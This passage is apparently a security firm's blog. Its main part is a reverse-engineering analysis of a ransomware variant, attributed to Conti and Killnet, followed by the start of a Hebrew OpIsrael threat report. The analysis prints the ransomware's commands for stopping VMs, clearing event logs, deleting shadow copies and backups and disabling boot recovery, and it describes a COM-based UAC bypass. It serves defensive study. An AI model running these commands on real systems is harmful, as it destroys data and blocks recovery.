particularly interesting about this malware is that every action it performs is logged, which are also visible within IDA.

![Log entries written by the malware, visible in IDA](/assets/blog/sovateam---new-state-sponsored-apt/67dffa496d470ef86736afb0_img123.webp)

The function associated with writing the log file has been renamed in IDA to

![The renamed log-writing function in IDA](/assets/blog/sovateam---new-state-sponsored-apt/67dffa5abc2d0a621232155b_img124.webp)

As part of the malware's logging process, it saves the log file in the C:\temp folder.

![Malware writing its log file to the C:\temp folder](/assets/blog/sovateam---new-state-sponsored-apt/67dffa6d55e34fe8d33a832d_img125.webp)

In addition to its regular functions, the malware conducts an extra scan within the C:\temp directory. It specifically searches for a file named lock.txt. If this file is found, the malware interprets it as a sign of a development environment and halts the process accordingly.

![Check for C:\temp\lock.txt, which makes the malware halt as if in a dev environment](/assets/blog/sovateam---new-state-sponsored-apt/67dffa87da78afcaeca2eba1_img128.webp)

After the initial check, the malware transitions into its active phase, gathering system

information through the Windows API. These actions and the specifics of the collected data are documented in the log file for later examination.

![Malware collecting system information through the Windows API](/assets/blog/sovateam---new-state-sponsored-apt/67dffaa5ed90c1081ee5ade8_img129.webp)

The SIDs are validated against process tokens to make better decisions about operating within the compromised system. This allows for action adjustments based on available privileges, potentially increasing impact or enhancing stealth to avoid detection more effectively.

![Validating SIDs against process tokens to decide how to operate on the host](/assets/blog/sovateam---new-state-sponsored-apt/67dffabe495059a21b826b68_img132.webp)

Next, all the privileges will be added to the process.

![Code adding all available privileges to the malware process](/assets/blog/sovateam---new-state-sponsored-apt/67dffad55e4717ddaca65ff3_img133.webp)

Subsequently, the malware commences its initial process, referred to as the watcher. The primary function of this watcher process is to supervise the main process, guaranteeing its ongoing activity. Upon detecting any cessation in the main process, the watcher promptly intervenes to reinitiate it, thus ensuring the malware's uninterrupted functionality.

![Launch of the watcher process that restarts the main process if it stops](/assets/blog/sovateam---new-state-sponsored-apt/67dffaed495059a21b828996_img136.webp)

Utilizing a tool called cmdwatcher to oversee newly initiated processes and their command lines. A standout feature of this tool is its capacity to halt the activity of any fresh process upon execution. Consequently, the new process remains inactive until I explicitly permit it to proceed. This functionality proves invaluable for meticulously examining the conduct of each process within a regulated setting.

![cmdwatcher holding a newly created process so its command line can be inspected](/assets/blog/sovateam---new-state-sponsored-apt/67dffb0131ad3adc063b7b0d_img137.webp)

As previously noted, the malware is programmed to start two processes linked to its unlocker features: unlocker1 and unlocker2. These processes are integral to the malware's operational structure, enhancing its overall functionality.

![Creation of the unlocker1 and unlocker2 processes](/assets/blog/sovateam---new-state-sponsored-apt/67dffb12bc2d0a621232b9f7_img138.webp)

Then, it will set the current process to HIGH\_PRIORITY\_CLASS. Setting a process to HIGH\_PRIORITY\_CLASS gives the malware preferential access to the CPU, potentially allowing it to execute its malicious activities more efficiently and with greater speed. However, this may also cause a noticeable system slowdown for other applications.

![Setting the current process to HIGH_PRIORITY_CLASS](/assets/blog/sovateam---new-state-sponsored-apt/67dffb3740ba14c0f250fe51_img141.webp)

Next, establish the initial persistence for the Run key.

![Persistence established through the registry Run key](/assets/blog/sovateam---new-state-sponsored-apt/67dffb5040ba14c0f2510c28_img142.webp)

By bypassing User Account Control (UAC) and modifying ConsentPromptBehaviorAdmin, the malware can silently elevate its privileges without alerting the user, allowing it to execute high-privilege operations and gain deeper access to the system.

![Modification of ConsentPromptBehaviorAdmin to bypass User Account Control](/assets/blog/sovateam---new-state-sponsored-apt/67dffb689db92aadd52f6299_img143.webp)

Then, the malware exploiting the CMSTPLUA object and ICMLuaUtil interface leverages the Windows Component Object Model (COM) system to circumvent User Account Control

(UAC). Using the CoGetObject function with a special moniker string, the malware creates an instance of ICMLuaUtil—a COM interface meant for privileged actions—without

triggering UAC prompts.

This technique effectively enables the malware to escalate its privileges to the administrator level, bypassing standard security checks and gaining deeper system access, all without alerting the user.

![UAC bypass via the CMSTPLUA COM object and the ICMLuaUtil interface](/assets/blog/sovateam---new-state-sponsored-apt/67dffb858190f33913d3055d_img153.webp)

By using the tool OleView, we investigate what it is the moniker string that the malware calls.

![OleView showing the moniker string the malware calls](/assets/blog/sovateam---new-state-sponsored-apt/67dffba574b44346c0da5699_img154.webp)

Then, it will register a hotkey (Ctrl + F1) that displays the status logs being performed by the ransomware using thread.

![Registration of the Ctrl+F1 hotkey that displays the ransomware's status log](/assets/blog/sovateam---new-state-sponsored-apt/67dffbd36d470ef86737eb85_img157.webp)

As previously mentioned, the -prot argument designates a path to a folder or file. After specifying this path, the malware employs Windows API to establish the designated folder or file as protected. This process effectively secures the specified location from specific actions, aligning with the malware's intended behaviors and goals.

![Windows API call marking the path given to -prot as a protected object](/assets/blog/sovateam---new-state-sponsored-apt/67dffbed6d470ef867380677_img158.webp)

The malware's utilization of the SetSecurityInfo API on SE\_KERNEL\_OBJECT could alter the security configurations of vital system components. Consequently, terminating the

malware process might lead to system instability or a blue screen, impeding security controls systems from safely eliminating it without jeopardizing system stability.

![SetSecurityInfo called on SE_KERNEL_OBJECT, altering security on core components](/assets/blog/sovateam---new-state-sponsored-apt/67dffc02bc2d0a62123347b7_img159.webp)

Subsequently, the malware seizes the embedded configuration, such as the NoteID.

![Malware reading its embedded configuration, including the NoteID](/assets/blog/sovateam---new-state-sponsored-apt/67dffc1d6584e42efd5682f5_img162.webp)

Analyzing the log file generated by the malware reveals all embedded settings.

![Embedded settings revealed in the malware's own log file](/assets/blog/sovateam---new-state-sponsored-apt/67dffc2e686c0fa648d1a69a_img163.webp)

Subsequently, the process will initiate multiple loops to prioritize the encryption setup of files. It will identify the files exempt from encryption, followed by the excluded extensions and directories. It will execute the necessary command to end the relevant processes and services upon completion.

![Loops that build the encryption exclusion lists for files, extensions and directories](/assets/blog/sovateam---new-state-sponsored-apt/67dffc44bdea44f6b291841c_img166.webp)

Upon concluding the series of loops related to the embedded settings within the malware, distinct configurations emerge that enhance our comprehension of its effects. An example of such a configuration entails pinpointing the exact file chosen for the initial encryption process. Scrutinizing this particular setting offers crucial understanding regarding the malware's operational focus and the possible ramifications of its activities.

![Configuration value naming the specific file chosen for the first encryption](/assets/blog/sovateam---new-state-sponsored-apt/67dffcce70a2fe3835aa4b76_image-79.webp)

In our previous discussion about the watcher process, We shared the code responsible for its initialization. This code snippet demonstrates how the command line is initially set up. A key feature of this malicious software is its structure, which is built on a single, extensive codebase. Different loops are initially used to determine the operational mode – whether it acts as the original, watcher, or unlocker processes. This indicates that all processes contain the full code of the malware, with differences only in the specific code segment executed or actions taken. For example, in the watcher process, the highlighted code section remains inactive as it already functions as the watcher. However, it's important tonote that all process variations include the encryption mechanism, highlighting the malware's thorough and flexible design.

![Initialization code for the watcher process](/assets/blog/sovateam---new-state-sponsored-apt/67dffc56c15c27d90e5c4dfc_img171.webp)

Building on these points, we observe a loop in the malware that appends the PID (Process ID) of the parent process to the command line of the watcher process.

![Loop appending the parent process PID to the watcher's command line](/assets/blog/sovateam---new-state-sponsored-apt/67dffd26a8c55a4c8623d8db_img172.webp)

Then it will add more arg if needed and then run it.

![Additional arguments appended before the watcher process is run](/assets/blog/sovateam---new-state-sponsored-apt/67dffd410131fe116b909020_img173.webp)

Same for unlocker1 and unlocker2

![The same argument handling applied to unlocker1](/assets/blog/sovateam---new-state-sponsored-apt/67dffd56c0ccd70a9fb4ebf9_img176.webp)

![The same argument handling applied to unlocker2](/assets/blog/sovateam---new-state-sponsored-apt/67dffd6931ad3adc063d52e4_img177.webp)

Then, it will protect all the folders related to the malware.

![Malware marking its own folders as protected](/assets/blog/sovateam---new-state-sponsored-apt/67dffd7b6584e42efd5749fe_img180.webp)

![Further folder protection calls for the malware's directories](/assets/blog/sovateam---new-state-sponsored-apt/67dffd87c15c27d90e5d48bc_img181.webp)

The malware utilizes a tool named Everything, described as a search engine on its

homepage, to instantly find files and folders by filename on Windows systems. Unlike the typical Windows search, Everything initially presents all files and folders on the computer, hence its name. Users can use search filters to refine the displayed items. The primary benefit of Everything lies in its rapid search capabilities. The malware leverages the DLL of Everything to execute specific functions. The first task of the malware, as shown in the

image, is to confirm the presence of Everything on the system.

![Check confirming that the Everything search tool is present on the system](/assets/blog/sovateam---new-state-sponsored-apt/67dffda75cbde22c48047f3a_img184.webp)

![Second stage of the Everything presence check](/assets/blog/sovateam---new-state-sponsored-apt/67dffdb4a8c55a4c862454fb_img185.webp)

Then it will launch it

![Malware launching the Everything search tool](/assets/blog/sovateam---new-state-sponsored-apt/67dffdc75cbde22c48048f96_img186.webp)

As a component of the malware's process termination system, it establishes a whitelist of processes exempt from being killed. It's quite straightforward to understand that terminating these whitelisted processes could lead to system instability or crashes, as these are likely crucial for the normal functioning of the operating system or other important applications.

![Whitelist of processes the malware will not terminate](/assets/blog/sovateam---new-state-sponsored-apt/67dffdee8a3a6d88ec98b8d2_img189.webp)

The malware then triggers a process to shut down specific services, pinpointing services like wsearch (Windows Search), pla (Performance Logs & Alerts), and dusmsvc. These services play vital roles in various system functions. wsearch manages content indexing, property caching, and search results for files, emails, and other content. pla aids in performance data collection and logging, while dusmsvc (often DusmSvc) is linked to data usage statistics.

Disabling these services can disrupt regular system operations and impact performance monitoring and search capabilities.

![Shutdown of the wsearch, pla and dusmsvc services](/assets/blog/sovateam---new-state-sponsored-apt/67dffdffbd014c7d5f9e804b_img190.webp)

![Continuation of the service shutdown routine](/assets/blog/sovateam---new-state-sponsored-apt/67dffe0c5e4717ddaca91c92_img191.webp)

The malware subsequently targets and shuts down processes crucial for the system's telemetry, like searchindexer and searchprotocolhost. indexes files to speed up searches, while searchprotocolhost manages file search protocols. By disabling these processes, the malware impairs the system's search and indexing efficiency, potentially impacting overall search feature functionality and performance.

![Termination of the searchindexer and searchprotocolhost telemetry processes](/assets/blog/sovateam---new-state-sponsored-apt/67dffe4974b44346c0dc44ca_img194.webp)

The malware initiates its aggressive phase by terminating processes with high RAM usage and those involved in backup and anti-termination, such as taskmgr. This tactic frees up system resources while hindering user efforts to control or recover from the malware's actions.

![Termination of high-RAM, backup and anti-termination processes such as taskmgr](/assets/blog/sovateam---new-state-sponsored-apt/67dffe6274b44346c0dc5588_img195.webp)

![Continuation of the process termination routine](/assets/blog/sovateam---new-state-sponsored-apt/67dffe6d6e7ca5acbd65bddb_img196.webp)

By using the SetProcessShutdownParameters API with a zero as a parameter, the malware ensures it is among the last to be terminated during system shutdown, allowing it to remain active longer and potentially disrupt or manipulate shutdown processes.

![SetProcessShutdownParameters called with zero so the malware exits last on shutdown](/assets/blog/sovateam---new-state-sponsored-apt/67dffe845e4717ddaca96c1f_img201.webp)

Then, if the -port flag existed, it would protect the ransomware from being killed (-prot)

The use of NtSetInformationProcess manipulates process termination behavior. This particular technique involves setting the ProcessBreakOnTermination flag in Windows. Setting this flag makes the process critical to the system's stability. Terminating could lead to dramatic consequences, like a system crash or forced restart.

![ProcessBreakOnTermination flag set, making the process critical to system stability](/assets/blog/sovateam---new-state-sponsored-apt/67dffe98fa9212a687b500f4_img202.webp)

Now, to accelerate our reverse engineering process, let’s examine multiple actions undertaken by the malware. The first significant step is the modification of registry keys to prevent system shutdown.

![Registry keys modified to prevent the system from shutting down](/assets/blog/sovateam---new-state-sponsored-apt/67dffeb0d0fa543a7249c0a7_img203.webp)

Then, kill the process that can shut down the system.

![Termination of processes capable of shutting the system down](/assets/blog/sovateam---new-state-sponsored-apt/67dffec7af384391826e8630_img206.webp)

Use powercfg to turn off the shutdown with the physical button.

![powercfg used to disable shutdown via the physical power button](/assets/blog/sovateam---new-state-sponsored-apt/67dffed974b44346c0dcab43_img207.webp)

Enable Long Path support

![Registry change enabling long path support](/assets/blog/sovateam---new-state-sponsored-apt/67dffeeebd014c7d5f9f2a9e_img208.webp)

Then, Kill the Telemetry policy

![Disabling of the Windows telemetry policy](/assets/blog/sovateam---new-state-sponsored-apt/67dffefe8190f33913d5ede5_img209.webp)

Then, removing command line restrictions,this technique involves strategically modifying registry settings, explicitly targeting the Software\Policies\Microsoft\Windows\System path. By deleting the DisableCMD value, the malware effectively lifts restrictions on command-line usage, granting itself more freedom to execute various commands.

![Deletion of the DisableCMD value to lift command-line restrictions](/assets/blog/sovateam---new-state-sponsored-apt/67dfff3d74b44346c0dcf539_img217.webp)

Then will run PowerShell

![Malware launching PowerShell](/assets/blog/sovateam---new-state-sponsored-apt/67dfff1bbc20675ff4940bd9_img218.webp)

### **The malware executes three specific PowerShell commands, each contributing to its ransomware strategy**

1. Halting Virtual Machines: By using the command powershell.exe - ExecutionPolicy Bypass "Get-VM | Stop-VM", the malware effectively stops all active virtual machines on the infected system. This action has the potential to

significantly disrupt services or activities running within these VMs, showcasing the malware's ability to target and impact virtualized environments.

2. Targeting Virtual Hard Drives: The malware employs

ExecutionPolicy Bypass "Get-VM | Select-Object vmid | Get-VHD |

%{Get-DiskImage -ImagePath $\_.Path; Get-DiskImage -ImagePath

$\_.ParentPath} | Dismount-DiskImage" to manipulate virtual hard drives. By dismounting these drives, it can lead to data inaccessibility or corruption, particularly affecting systems that rely heavily on virtual storage solutions.

3. Dismounting Disk Images: The final command, powershell.exe -ExecutionPolicy Bypass "Get-Volume | Get-DiskImage | Dismount-DiskImage", enables the

malware to unmount disk images. This action can severely disrupt access to essential data stored in these images, further emphasizing the malware's capability to

compromise data availability and disrupt overall system functionality.

![First PowerShell command in the ransomware sequence](/assets/blog/sovateam---new-state-sponsored-apt/67dfff89c15c27d90e5ea4f9_img221.webp)

![Second PowerShell command in the ransomware sequence](/assets/blog/sovateam---new-state-sponsored-apt/67dfff956e1c07f5f06d1666_img222.webp)

![Third PowerShell command in the ransomware sequence](/assets/blog/sovateam---new-state-sponsored-apt/67dfffa383dff41b3d5288f3_img223.webp)

Subsequently, the malware utilizes the wevtutil command to clear security, system, and application logs. This action erases the event history in these logs, hindering efforts to track and analyze the malware's activities and system changes. It's a strategic move to cover its tracks and maintain stealth within the infected system.

![wevtutil clearing the security, system and application event logs](/assets/blog/sovateam---new-state-sponsored-apt/67dfffcf8190f33913d693a4_img224.webp)

Returning to the use of Everything, the malware leverages an API from the Everything DLL specifically to delete the Run History on the system. This action is part of its strategy to eliminate traces of its execution and activities, reducing the likelihood of detection and hindering forensic analysis. By clearing the Run History, the malware effectively obscures

its footprints, making it more challenging to understand its scope and impact on the infected system.

![Everything DLL API used to delete the system Run History](/assets/blog/sovateam---new-state-sponsored-apt/67dfffded7e9762ca969c8f9_img225.webp)

Then, the malware writes a command into a batch file and runs it. This command

incorporates a sequence of operations designed to delay action, manipulate files, change directories, execute additional commands, and delete specific file types. The use of ping introduces a short pause, while fsutil alters file data. The cd command changes the

working directory, and the final segment deletes various executable and configuration files. This sequence of actions demonstrates the malware's capability to disrupt, manipulate, and remove critical files on the infected system, reflecting its destructive and stealthy nature.

![Batch file written and executed to delete executables and configuration files](/assets/blog/sovateam---new-state-sponsored-apt/67dfffee6d470ef8673b6360_img228.webp)

Then, the malware employs a WMI (Windows Management Instrumentation) query to delete Shadow Copies on the system. The query, ROOT\CIMV2 SELECT \* FROM Win32\_ShadowCopy, retrieves all existing shadow copies using WMI. By targeting and deleting these shadow copies, the malware further obstructs system restoration or recovery attempts, enhancing its ability to maintain control and evade detection. This tactic underscores the malware's comprehensive strategy to eliminate potential avenues for system recovery and reinforce its persistence within the compromised environment.

![WMI query deleting Volume Shadow Copies](/assets/blog/sovateam---new-state-sponsored-apt/67e00016bcae18351f6f7db3_img229.webp)

The malware proceeds to configure system recovery options using various commands:

1. bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures: This command adjusts the Boot Configuration Data (BCD) store by setting the bootstatuspolicy for the default boot entry to ignoreallfailures. Consequently, Windows will disregard any boot errors and refrain from automatically initiating recovery tools during boot failures. This adjustment complicates the recovery process in case of boot problems.
2. bcdedit.exe /set {default} recoveryenabled no:This command modifies the BCD store to disable the Windows Recovery Environment (WinRE) for the default boot entry. With recovery disabled, the system will not attempt to access the recovery environment when encountering startup issues, potentially impeding troubleshooting and repair efforts.
3. wbadmin.exe DELETE SYSTEMSTATEBACKUP: This command uses the Windows Backup command-line tool (wbadmin) to delete system state backups, which include critical Windows configuration files, registry settings, and system files. Removing these backups eliminates potential restore points, reducing the ability to recover the system configuration to a previous state
4. wbadmin.exe delete catalog -quiet: This command removes the backup catalog on the machine using wbadmin. The backup catalog maintains records of backup sets and details. The -quiet switch ensures the action is performed without prompts, meaning the catalog deletion occurs without confirmation. This further hampers recovery efforts by eliminating essential information required for backup restoration.

![wbadmin deleting the backup catalog with the -quiet switch](/assets/blog/sovateam---new-state-sponsored-apt/67e000758a3a6d88ec9ab483_img232.webp)

### **We have gathered all the Tactics, Techniques, and Procedures (TTPs) identified and meticulously mapped them within the MITRE ATT&CK framework.**

## MITRE ATT&CK framework

### Collection SYSTEM INFO -

- GetNativeSystemInfo

- GetVersionExW

- GetTokenInformation

- GetUserNameW

- GetComputerNameExW

- GlobalMemoryStatusEx

### Set Privileges -

- AdjustTokenPrivileges

### Persistence -

- RegSetValueExW (Debugger:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options)

- RegSetValueExW (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run)

- RegSetValueExW (Software\\Classes\\exefile\\shell\\open\\command)

### Defense Evasion Auto-elevation -

- RegSetValueExW (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System:ConsentPromptBehaviorAdmin)

- CoGetObject Elevation: Administrator! new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

- TerminateProcess

- SetSecurityInfo - Change Process DACL

- SetFileAttributesW - the Temp folder that contains all the output files (only system access)

- cmd.exe /c DC.exe /D

- SetProcessShutdownParameters(0,0)

- RegSetValueExW (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\DataCollection:AllowTelemetry)Page 30

- RegSetValueExW (SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System:ConsentPromptBehaviorAdmin)

- RegSetValueExW (SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System:ConsentPromptBehaviorUser)

- RegSetValueExW (SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System:PromptOnSecureDesktop)

- RegSetValueExW (SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System:EnableLUA)

- RegDeleteValueW (Software\\Policies\\Microsoft\\Windows\\System:DisableCMD)

### Command Launcher -

- CreateProcessW

Priority API -

- SetPriorityClass

Modify file time -

- SystemTimeToFileTime

- SetFileTime

### Check for Running the same malware -

- CreateMutexA

### Impact -

- Kill Explorer

- DeviceIoControl - USN deleted using FSCTL

- OpenServiceW, ChangeServiceConfigW, RegSetValueExW, OpenServiceW, ControlService, Kill System Services.

- RegSetValueExW (Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer:HidePower Options)

- RegSetValueExW (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System:shutdownwithoutlogon)

- RegSetValueExW (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer:NoClose)Page 31

- RegSetValueExW (SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer:StartMenuLogOff)

- powercfg.exe -H off

- powercfg.exe -SETACVALUEINDEX 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c4f971e89-embed-4455-a8de-9e59040e7347 7648efa3-dd9c-4e3e-b566-50f9293862800

- bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures

- bcdedit.exe /set {default} recoveryenabled no

- wbadmin.exe DELETE SYSTEMSTATEBACKUP

- wbadmin.exe delete catalog -quiet

- RegSetValueExW (SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Policies\\System:legalnoticetext)

### Execution -

- RegisterHotKey (Alt + F1)

### Anti Forensics -

- wevtutil.exe cl security

- wevtutil.exe cl system

- wevtutil.exe cl application

- Use the Everything to delete Run History

- SHEmptyRecycleBinW

## Evolution of Ransomware

After researching the malware and cross-referencing with additional IOCs and TTPs, it was discovered that this is a variant of the well-known ransomware mimic.exe, which has been upgraded and released in a new version - pizdaosla

**meaning** "female genitalia" in Russian). Mimic written by the Russian Threat Actor Conti, seemingly aims to encrypt

victims' networks and demand ransom for the stolen information. The context of this activity can also be seen through multiple mentions in this analysis, as well as the code itself which is very similar to the structure of mimic.

## Origin of Malware and Threat Intelligence Research

### Intelligence Infrastructure

As part of the threat intelligence research conducted by the I**O**NSEC intelligence team, a wide infrastructure was created in Telegram and the Darknet that sends its agents to

powerful and active groups seemingly related to attack organizations. The avatars built and investigated are assessed with high confidence through internal sources and attack groups that Conti has resumed its operations under the radar, working in collaboration with and under the sponsorship of Killnet.

### Cryptic Clues

Cryptic clues can be found in the malware code and its accompanying metadata to link the activity to Conti's specific nature.

**Sova**, a free translation from Russian - an Owl. The wisest animal of all, active during the night hours and under the radar. An owl's eyes are everywhere - it rotates its head in a

perfect circle and has a huge field of vision, enabling it to gaze deeply at its surroundings and see far distances. An owl also symbolizes evil prophecies and witchcraft - making it a

mysterious, wise, and deceitful creature.

### Greetings from Siberia

The identification of the mutex fromSiberiaWithLove reveals a distinct message, signifying a cold yet warm greeting from Siberia, Russia, intended for a specialized audience. This nuanced communication is accessible only to those proficient in malware code analysis, highlighting the creators' desire to connect with individuals capable of appreciating their sophisticated craftsmanship. It emphasizes the importance of persistent exploration in uncovering hidden treasures within complex code.

#### *Profound Significance of a Simple Mutex*

This analysis reveals technological skill and a rich blend of cultural and symbolic communication

through the mutex fromSiberiaWithLove. Far from being just a digital marker, it signifies origin, purpose, and a sense of connection among informed parties. It underscores the intricate layers and commitment within cybercriminal circles and the critical need for persistent, in-depth efforts by

cybersecurity experts to interpret, comprehend, and counteract these threats.

### **Conti: Evolution, Disruption, and Stealthy Expansion**

Conti, recognized for its ruthless attacks and explicit support of Russia's military actions in Ukraineii, emerged in 2020 as a notable entity in the cybercrime landscape, offering

ransomware services globally, particularly prominent in Russia. This group also managed to provoke the U.S., prompting a $10 million bounty for information leading to its membersiii. Despite the shutdown of its primary website in May 2022, the exact cause remains elusive, with speculations pointing towards sanctions fears related to the Russia-Ukraine conflict.

However, the demise of such groups rarely marks their end. Often, they reemerge under new guises, retaining their core objectives and capabilities. Conti, with its established network of developers and reputation for quality, is believed to remain potent and cohesive even after its supposed downfall.

### **Allegiances – Russian Government Connections?**

In Russia, a culture of supporting entities that advance the government's objectives existsiv, a practice evidenced by groups like Killnet v. Despite its original focus on Sudan's civil issues, this group's backing of Anonymous Sudan underscores a broader alignment against Western ideologies, echoing pro-Russian sentiments. By embracing Anonymous Sudan, Killnet extends its ideological reach and cements its role as a benefactor for like-minded groups,

furthering Russia's geopolitical agenda.

### **Cross-referencing and Conclusions**

From cross-referencing various internal and external intelligence sources, characterizing the groups, and conducting in-depth research on their activities toward their victims, Our

intelligence team hypothesized that the Killnet group and its affiliates have taken the

members and developers of Conti under their wing. In this context, they are renewing their activities through a particularly challenging and new variant to rise again after recuperation, more unified and powerful. In this renewed activity, Conti once again demonstrates its

dominance over vulnerable victims, delivering a warm greeting from the cold of Siberia with renewed forces and criminal ideologies, through complex, challenging, and exceptional execution.

i [https://www.trendmicro.com/en\_za/research/23/a/new-mimic-ransomware-abuses](http://www.trendmicro.com/en_za/research/23/a/new-mimic-ransomware-abuses-)- everything-apis-for-its-encryption-p.html

ii <https://cyberscoop.com/conti-ransomware-russia-ukraine-critical-infrastructure>/

iii <https://www.state.gov/reward-offers-for-information-to-bring-conti-ransomware-variant-co-conspirators-to-justice>

iv <https://www.csis.org/analysis/cyber-operations-during-russo-ukrainian-war>

v <https://www.blackberry.com/us/en/solutions/endpoint-security/ransomware-protection/killnet>

---

# סקירה מודיעינית 2024 #OpIsrael

URL: https://www.ionsec.io/resources/sqyrh-mvdy-ynyt-2024-opisrael
Category: Blog
Author: IONSEC Team
Published: 2024-03-24
Tags: opisrael, threat-intelligence, hacktivism, israel
Language: he

IONSEC הינה חברת בוטיק לשירותי אבטחת מידע ותגובה לאירועי סייבר (24/7) העוסקת במחקר ותגובה לאיומים מתקדמים ומספקת פתרונות אבטחה מותאמים אישית לחברות ברחבי העולם.

## IONSEC אודות

**IONSEC הינה חברת בוטיק לשירותי אבטחת מידע ותגובה לאירועי סייבר (24/7) העוסקת במחקר ותגובה לאיומים מתקדמים ומספקת פתרונות אבטחה מותאמים אישית לחברות ברחבי העולם.**

## היתרון שלנו

היתרון של IONSEC על פני שירותים אחרים בא לידי ביטוי ביכולות המחקר הבאות לידי ביטוי בשלב הצייד

.(Threat Hunt)

![התפלגות תקיפות הסייבר שצוות המחקר של IONSEC מטפל בהן](/assets/blog/sqyrh-mvdy-ynyt-2024-opisrael/67e900175ee8ee7925b49ea8_img45.webp)

צוות המחקר של IONSEC בא לידי ביטוי ב20 אחוז הנותרים של תקיפות הסייבר, כאשר מדובר בתקיפות הסייבר מתקדמות שיודעות לעקוף את מערכות האבטחה. ע"י שימוש ביכולות ביג דאטה + סוכן ייעודי אנחנו ב IONSECיודעים למצוא את התוקפים המתקדמים ביותר היכן שמוצרי ההגנה נכשלים.

## OpIsrael Campaign# :מנהלים תקציר

#OpIsrael הוא קמפיין סייבר גלובאלי המכוון לתשתית דיגיטלית ישראלית הן אזרחית וממשלתית. הקמפיין, שיזם על ידי קבוצת אנונימוס בשנת ,2013 ראה השתתפות של קבוצות האקטיביסטים והאקרים אינדיבידואלים שונים מרחבי העולם. הפעילות של הקמפיין מגיעה לשיא מדי שנה בסביבות ה7- באפריל, כאשר רוב פעולות התקיפה מכוונות לאתרים ושירותים ישראלים עם מגוון התקפות סייבר כולל DDoS )מניעת שירות מבוזרת,( השחתת אתרים, גניבת מידע ושחרור נתונים גנובים. הקמפיין מתיימר למחות על המדיניות והפעולות הישראליות בנוגע לסכסוך ישראל-והפלסטינים, במטרה לשבש את השירותים המקוונים הישראליים ולמשוך תשומת לב בינלאומית.

### ההקשר של הסכסוך בין ישראל לעזה וההתפתחויות האחרונות בעקבות ה7- לאוקטובר

הסכסוך בין ישראל לפלסטינים הוא מאבק גיאופוליטי רב שנים שבמרכזו מחלוקות טריטוריאליות, ריבונות מדינית והכרה הדדית בין מדינת ישראל לשטחים הפלסטיניים, ובמיוחד רצועת עזה. הסכסוך הוביל לפעולות צבאיות, למחאות ולהגברת המתיחות באזור לאורך השנים. בתגובה למתקפה משמעותית של חמאס על ישראל ב7- באוקטובר, שסימנה הסלמה חמורה בסכסוך, יזמה ישראל מבצע צבאי נגד מטרות חמאס בעזה. ההתפתחות האחרונה הזו ככל הנראה תשפיעה על האינטנסיביות והמיקוד של פעילויות ,OpIsrael# כאשר התקפות סייבר חופפות לרוב או מגיבות להתפתחויות בסכסוך.

### נקודות מפתח

- קמפיין שנתי: OpIsrael# הוא קמפיין סייבר שנתי עם פעילות מוגברת בסביבות ה7- באפריל, המכוון לאתרים ושירותים דיגיטליים ישראלים על מגוון רחב של מגזרים.

- השתתפות מגוונת: הקמפיין מושך מגוון רחב של משתתפים, מקבוצות האקטיביסטיות הקשורות באופן רופף ועד אנשים המונעים על ידי גורמים שונים, כולל אמונות פוליטיות ואידיאולוגיות.

- טקטיקות סייבר מגוונות: הטקטיקות כוללות התקפות ,DDoS השחתת אתרים, גניבה והפצת נתונים, במטרה לשבש את התשתית הדיגיטלית הישראלית ולהפיץ מסרים התומכים בפלסטין.

- השפעת הסכסוכים הצבאיים האחרונים: הסכסוך הצבאי האחרון שיזמה ישראל בעקבות מתקפת חמאס ב7- באוקטובר ככל הנראה ישפיע ישירות על העוצמה, המטרות והיעדים של ,OpIsrael# כאשר הקמפיין מבקש לעתים קרובות להדגיש או להגיב נגד פעולות ישראל בעזה.

- השלכות אבטחה על ישראל: OpIsrael# מציג אתגרי אבטחת סייבר מתמשכים עבור משאבים מקוונים של ממשל ישראל, ותאגידים אזרחיים, המחייבים תגבור אמצעי הגנת סייבר וערנות מתמדת.

- תשומת לב בינלאומית: מעבר להשפעתה המיידית, OpIsrael# מבקשת למשוך תשומת לב בינלאומית לסכסוך ישראל- עזה ולהשלכות של הסלמה הצבאית האחרונה, תוך שימוש באקטיביזם קיברנטי כדי להשפיע על דעת הקהל והשיח הפוליטי.

קמפיין OpIsrael# מדגיש את יחסי הגומלין המורכבים בין פעילויות במרחב הקיברנטי לסכסוכים גיאופוליטיים, ומחדד את התחום הדיגיטלי כזירה משמעותית לאקטיביזם, מחאה וחתירה אחר יעדים פוליטיים בהקשר של הסכסוך בין ישראל לעזה.

## פריסה גראפית של קמפיין OpIsrael#

![גרף המציג את הקבוצות, שיטות תקיפה וכלים כחלק מקמפיין OpIsral](/assets/blog/sqyrh-mvdy-ynyt-2024-opisrael/67e8ff6ea05e6fcbcbd300b6_AD_4nXfoE9I2gIrVhalizqfG4frse-VOrSY5c5ypAHAak_junn-Mg0vYVEHwD7VkY4-T0S41LYdXKrqpPUOh3kke8nLTFCsBThggMqik5Fhq3ht0WdpxyOpKC-yF0Di1DIohraxQJsvyUw.webp)

תמונה 1 - גרף המציג את הקבוצות, שיטות תקיפה וכלים כחלק מקמפיין OpIsral

## קבוצות תקיפה מרכזיות

| שיוך גיאוגרפי | שיטות תקיפה מרכזיות | קבוצת תקיפה |
|---------------|---------------------|----------------------------|
| Bangladesh | DDoS, Defacement | Mysterious Team Bangladesh |
| Sudan | DDoS, Defacement | Anonymous Sudan |
| Bangladesh | Defacement | Eagle Cyber Crew |
| לא ידוע | DDoS, Doxxing | Team ARXU |

![טבלת קבוצות התקיפה, שיטות התקיפה והכלים שבשימושן](/assets/blog/sqyrh-mvdy-ynyt-2024-opisrael/67e90121195a89e77ce77571_img75.webp)

### Mysterious Team Bangladesh

